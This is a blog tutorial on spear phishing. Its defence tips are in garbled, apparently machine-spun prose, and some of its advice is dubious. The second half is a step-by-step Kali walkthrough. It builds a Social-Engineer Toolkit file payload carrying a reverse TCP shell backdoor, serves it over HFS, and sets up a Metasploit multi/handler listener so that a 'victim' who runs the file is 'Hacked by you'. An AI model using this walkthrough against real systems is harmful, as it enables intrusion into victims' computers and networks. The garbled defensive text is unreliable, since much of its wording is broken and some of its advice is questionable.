Spear Phishing Attack Using Stack Buffer Overflow Payload


Spear-phishing is a targeted attempt to steal sensitive information such as account credentials or financial information from a specific victim, often for malicious reasons. This is achieved by acquiring personal details on the victim such as their friends, hometown, employer, locations they frequent, and what they have recently bought online.

The attackers then disguise themselves as a trustworthy friend or entity to acquire sensitive information, typically through email or other online messaging. This is the most successful form of acquiring confidential information on the internet, accounting for 91% of attacks.


How to Defend Against Spear Phishing Attacks

No matter wherever you are within the organizational structure, attackers might choose you as their next spear phishing target to snoop within an organization.


Here are some best practices to defend against spear phishing attacks :

  • Be wary of spam and surprising emails, especially those who need urgency. Always verify with the person concerned through a different means of communication, like phone calls or face-to-face conversation.
  • Block threats that arrive via email exploitation hosted email security and antispam protection.
  • Regularly scan the web for exposed email addresses and/or credentials, you would not be the primary one to find one of your users username and password on a criminal offense or porn web site.
  • Enlighten your users concerning the risks of oversharing their personal data on social media sites. The additional the dangerous guys recognize, the additional convincing they can be when crafting spear phishing emails.
  • Learn to acknowledge the basic ways used in spear phishing emails, like tax-related fraud, CEO fraud, business email compromise scams, and other social engineering tactics.
  • Refrain from clicking on links or downloading attachments in emails, especially from unknown sources.
  • Never send sensitive personal data via email. Be wary if you get an email asking you for this information and once doubtful, go on to the source.

How to Protect Yourself

Traditional security usually does not stop these attacks as a result of they are thus smartly customized. As a result, they are changing into harder to detect. One worker mistake will have serious consequences for businesses, governments and even nonprofit organizations. With taken information, fraudsters will reveal commercially sensitive data, manipulate stock prices or commit various acts of espionage. Additionally, spear phishing attacks can deploy malware to hijack computers, organizing them into huge networks referred to as botnets that may be used for denial of service attacks.

To fight spear phishing scams, employees need to remember of the threats, like the chance of imitative emails landing in their inbox. Besides education, technology that focuses on email security is necessary.


How Does Spear Phishing Work ?

The act of spear-phishing may sound simple, however spear-phishing emails have improved inside the past few years and are currently extremely tough to detect while not previous knowledge on spear-phishing protection. Spear-phishing attackers target victims who put personal info on the web. They could read individual profiles while scanning a social networking website.

From a profile, they will be able to notice a person’s email address, friends list, geographic location, and any posts concerning new gadgets that were recently purchased. With all of this info, the attacker would be ready to act as a friend or a familiar entity and send a convincing however fraudulent message to their target.

To increase success rates, these messages usually contain urgent explanations on why they have sensitive info. Victims are asked to open a malicious attachment or click on a link that takes them to a spoofed web site wherever they are asked to provide passwords, account numbers, PINs, and access codes. an attacker motility as a friend would possibly ask for usernames and passwords for varied websites, like Facebook , in order that they would be able to access posted photos.

In reality, the attackers can use that password, or variations of it, to access completely different websites that have confidential information like mastercard details or social security Numbers. Once criminals have gathered enough sensitive info, they will access bank accounts or perhaps create a brand new identity using their victim’s info. Spear-phishing may trick people into downloading malware or malicious codes when people click on links or open attachments provided in messages.


Spear phishing example

The following example illustrates a spear phishing attack’s progression and potential consequences:

A spoofed email is sent to an enterprise’s sysadmin from someone claiming to represent www.example.com, a database management SaaS provider. The email uses the example.com customer mailing template.

The email claims that example.com is offering a free new service for a limited time and invites the user to sign up for the service using the enclosed link.


Spear Phishing Attack Using Stack Buffer Overflow Payload


After clicking on the link, the sysadmin is redirected to a login page on example.com, a fake website identical to the example.com registration page

At the same time, a command and control agent is installed on the sysadmin’s machine, which can then be used as a backdoor into the enterprise’s network to execute the first stage of an APT.


Spear phishing mitigation

The targeted nature of spear phishing attacks makes them tough to detect. However, many risk prevention measures will help, together with two-factor authentication (2FA), password management policies and educational campaigns.


Two factor authentication

2FA helps secure login to sensitive applications by requiring users to have two things: one thing they know, like a password and user name, and something they need, like a smartphone or cryptographic token. When 2FA is used, even if a password is compromised using a technique like spear phishing, it’s of no use to an attacker while not the physical device held by the real user.


Password management policies

A prudent password management policy should take steps to prevent employees from using corporate access passwords on fake external websites. One example of such a policy is to instruct employees to always enter a false password once accessing a link provided by email. A legitimate web site won’t settle for a false password, however a phishing web site can.


Educational campaigns

At the organizational level, enterprises can raise awareness and actively train employees, highlighting spear phishing attacks as a very important threat.Training materials can feature real-life examples of spear phishing, with queries designed to check employee information. Employees who are aware of spear phishing are less likely to fall victim to an attack.


Spear Phishing Attack Using Stack Buffer Overflow Payload

Step 1 : Open Terminal and Type setoolkit


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 2 :Once SET is loaded it will show few options as shown in the image below. Select "Social-Engineering Attacks" by entering "1" and hit enter.


Spear Phishing Attack Using Stack Buffer Overflow Payload

Step 3 :Now it will show you another set of options, select "Spear-Phishing Attack Ventors" by entering "1" and hit enter.


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 4 :Type 2 for File Format Payload


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 5 :Select a payload Stack Buffer Overflow


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 6 :Type 5 for Stack Buffer Overflow


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 7 :Type 1 for Reverse Tcp Shell Backdoor


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 8 :Type 2 for Rename the file.


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 9 :Now Return to Main Menu.


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 10 :The Payload has been exported to the SET Directory Under Root Folder, Open The Directory And Check The Created Payload.


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 11 :HFS(HTTP file Sever) is default installed in Latest kali linux,if not installed,visit our article


How to send or receive files in Kali Linux - Using HFS(HTTP File Server)


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 12 :Open MetaSploit with msfconsole command


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 13 :

msf > use exploit/multi/handler

msf exploit (handler)>set payload windows/meterpreter/reverse_https

msf exploit (handler)>set lhost 192.168.69.128

msf exploit (handler)>set lport 4946

msf exploit (handler)>run

Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 14 :Open the Kali Linux ip on victim PC (Window PC/target PC) in browser and Download the file and run it


Spear Phishing Attack Using Stack Buffer Overflow Payload


Step 15 :When you run the file on victim PC ,they will be Hacked by you on Kali Linux(Sessions will come on terminal)


A meterpreter session open!


Spear Phishing Attack Using Stack Buffer Overflow Payload


Reacting to phishing

Never answer a message that seems to be phishing. Rather, attempt to take contact with either your bank, web site, or IT department yourself. Altogether cases, never follow links from an unsolicited message, but rather use bookmarks or kind the web sites address yourself. Ance in doubt, raise a professional.


Thank you for reading this article. Do let me know for any queries in comment section below.



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About Author

Akash is a co-founder and an aspiring entrepreneur who keeps a close eye on open source, tech giants, and security. Get in touch with him by sending an email (akashchugh1994@gmail.com).


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